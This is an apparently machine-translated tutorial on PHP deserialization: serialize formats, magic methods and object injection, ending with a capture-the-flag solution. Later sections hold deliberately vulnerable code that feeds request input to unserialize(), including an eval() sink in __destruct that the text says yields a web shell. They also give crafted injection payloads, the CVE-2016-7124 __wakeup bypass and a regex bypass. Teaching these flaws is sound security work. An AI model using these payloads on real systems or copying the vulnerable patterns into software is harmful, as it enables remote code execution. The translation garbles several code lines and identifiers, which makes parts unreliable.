Explain PHP deserialization in detail

Time:2020-7-28

1. Preface

Recently, I also reviewed what I learned before. I feel that I have a deeper understanding of PHP deserialization, so here is a summary

2. Serialize() function

“All values in PHP can be represented by using the function serialize() to return a string containing a byte stream. Serializing an object will save all variables of the object, but will not save the method of the object, only the name of the class

At first, the concept may be a little confused, but then it is gradually understood

At the end of program execution, the memory data will be destroyed immediately. The data stored by variables is the memory data, while the file and database are “persistent data”. Therefore, PHP serialization is the process of “saving” the variable data in memory to the persistent data in the file.

$s = Serialize ($variable); // the function serializes the variable data and converts it into a string
 file_ put_ Contents ('. / target text file', $s); // save $s to the specified file

Let’s take a concrete example to understand serialization:

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.'is'.$this->age.'years old. <br />';
  }
}
//Create an object
$user = new User();
//Set data
$user->age = 20;
$user->name = 'daye';

//Output data
$user->PrintData();
//Output the serialized data
echo serialize($user);

?>

This is the result:

You can see that after serializing an object, all variables of the object will be saved, and the result of serialization has a character, which is the abbreviation of the following letters.


a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

Understand the abbreviation type letter, you can get PHP serialization format

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
Object type: length: "class name": number of variables in class: {type: length: "value"; type: length: "value";...}

Through the above example, you can understand the concept of returning a string containing a byte stream through the serialize() function.

3. Unserialize() function

unserialize() Operate on a single serialized variable and convert it back to the value of PHP. Before an object can be deserialized, its class must be defined before it can be deserialized.  

To understand simply, even if the serialized data stored in the file is restored to the variable representation of the program code, the result before the variable serialization is recovered.

$s = file_ get_ Contents ('. / target text file'); // gets the content of the text file (previously serialized string)
 $variable = unserialize ($s); // deserialize the text content into the specified variable

Let’s take an example to learn about deserialization

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.' is '.$this->age.' years old. <br />';
  }
}
//Rebuild objects
$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');

$user->PrintData();

?>

This is the result:

Note: before deserializing an object, the class of the object must be defined before deserialization. Otherwise, it will report an error

4. PHP deserialization vulnerability

Before learning loopholes, first to understand the PHP magic function, docking down the learning will be very helpful

PHP will all use__ Class methods that begin with (two underscores) remain magic methods

Wei Construct is called when an object is created,
Wei Destruct is called when an object is destroyed,
Wei ToString when an object is called as a string.
Wei Triggered when wakeup() uses unserialize
Wei Triggered when sleep() uses serialize
Wei Triggered when destroy() object is destroyed
Wei Call () triggers when an invocable method is invoked in the object context.
Wei CallStatic () triggers when an invocable method is invoked in a static context.
Wei Get() is used to read data from inaccessible properties
Wei Set () is used to write data to inaccessible properties
Wei Isset() calls isset() or empty() on an inaccessible property
Wei Unset() is triggered when unset() is used on an inaccessible property
Wei Tostring() is triggered when the class is used as a string, and the return value needs to be a string
Wei Invoke() is triggered when the script attempts to call an object as a function

Only a part of the magic functions are listed here, which can be seen in detail

https://www.php.net/manual/zh/language.oop5.magic.php

Here is an example to understand the process of magic functions being called automatically

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array('varr1','varr2');
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); // instantiate the object and call__ Construct() method, output__ construct
$obj - > echo(); // call echo() method and output "ABC"
Echo $obj; // obj object is output as a string and called__ Tostring() method, output__ toString
$s = Serialize ($obj); // obj object is serialized and called__ Sleep() method, output__ sleep
Echo unserialize ($s); // $s is first deserialized and called__ When the deserialized object is treated as a string, it will be called_ Tostring() method.
//When the script ends, it will be called again__ Destruct() method, output__ destruct
?>

This is the result:

Through this example, we can clearly see that magic functions will be called when the corresponding conditions are met.

5. Object injection

A vulnerability occurs when a user’s request is not properly filtered before being passed to the deserialize function unserialize(). Because PHP allows object serialization, an attacker can submit a specific serialized string to an unserialize function with this vulnerability, resulting in an arbitrary PHP object injection within the application scope.

There are two prerequisites for object vulnerability

1、 The parameters of unserialize are controllable.

Second, there is a class with magic method defined in the code, and there are some security problems in the method that use class member variables as parameters.
Here’s an example:


<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

For example, if the column is directly generated by the user and passed to the unserialize() function, such a statement can be constructed


?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

Called after the script runs_ Destruct function, which will also override the test variable output lemon.

If this vulnerability is found, we can use this vulnerability point to control the input variables and splice them into a serialized object.

Let’s take another example

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_ Destruct () function calls Eval to execute statements in serialized objects.
  }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$PP = "O: 1:" a ": 1: {s: 4:" test "; s:" len. ": \". $test. "; \";} "; // construct a serialized object
$test_ Unser = unserialize ($PP); // deserialization is triggered at the same time_ Destruct function
?>

In fact, after careful observation, we can find that in fact, we construct the serialized object manually so that the unserialize() function can be triggered__ Destruc() function, and then execute the__ Malicious statement in destruc() function.

So we can get the web shell by using this vulnerability

6. Bypass the deserialization of magic functions

Wakeup() magic function bypass


PHP5<5.6.25
PHP7<7.0.10

PHP deserialization vulnerability cve-2016-7124

#A ා key: when the value representing the number of attributes is greater than the number of real attributes in the deserialization string, it will be bypassed__ Execution of wakeup function

Baidu cup hash

In fact, a careful analysis of the code, as long as we can bypass two points can get f15g_ 1s_ here.php Content of

(1) bypass regular expression to check variables
(2) bypass_ Wakeup() magic function, because if we are not deserializing gu3ss_ M3_ H2h2.php, this magic function will trigger and force conversion to gu3ss during deserialization_ M3_ h2h2.php

So the problem is, if you bypass regular expressions
(1) / [OC]: / D +: / I, for example: O: 4: will be matched, and the bypass is very simple. Just add a +, and the regular expression will not match 0: + 4:1

(2) Bypass_ Wakeup() magic function. It is mentioned above that when the value representing the number of attributes in the deserialized string is greater than the number of real attributes, it will be bypassed_ Execution of wakeup function

Write PHP serialization script

<?php
class Demo {
  private $file = 'Gu3ss_m3_h2h2.php';

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != 'Gu3ss_m3_h2h2.php') {
      //the secret is in the f15g_1s_here.php
      $this->file = 'Gu3ss_m3_h2h2.php';
    }
  }
}
#First create an object and call it automatically__ Construct magic function
$obj = new Demo('f15g_1s_here.php');
#To serialize
$a = serialize($obj);
#Using STR_ Replace() function to bypass regular expression checking
$a = str_replace('O:4:','O:+4:',$a);
#Using STR_ Replace() function to bypass__ Wakeup() magic function
$a = str_replace(':1:',':2:',$a);
#Then the base64 coding was performed
echo base64_encode($a);
?>

The above is the detailed content of PHP deserialization. For more information about PHP deserialization, please pay attention to other related articles in developeppaer!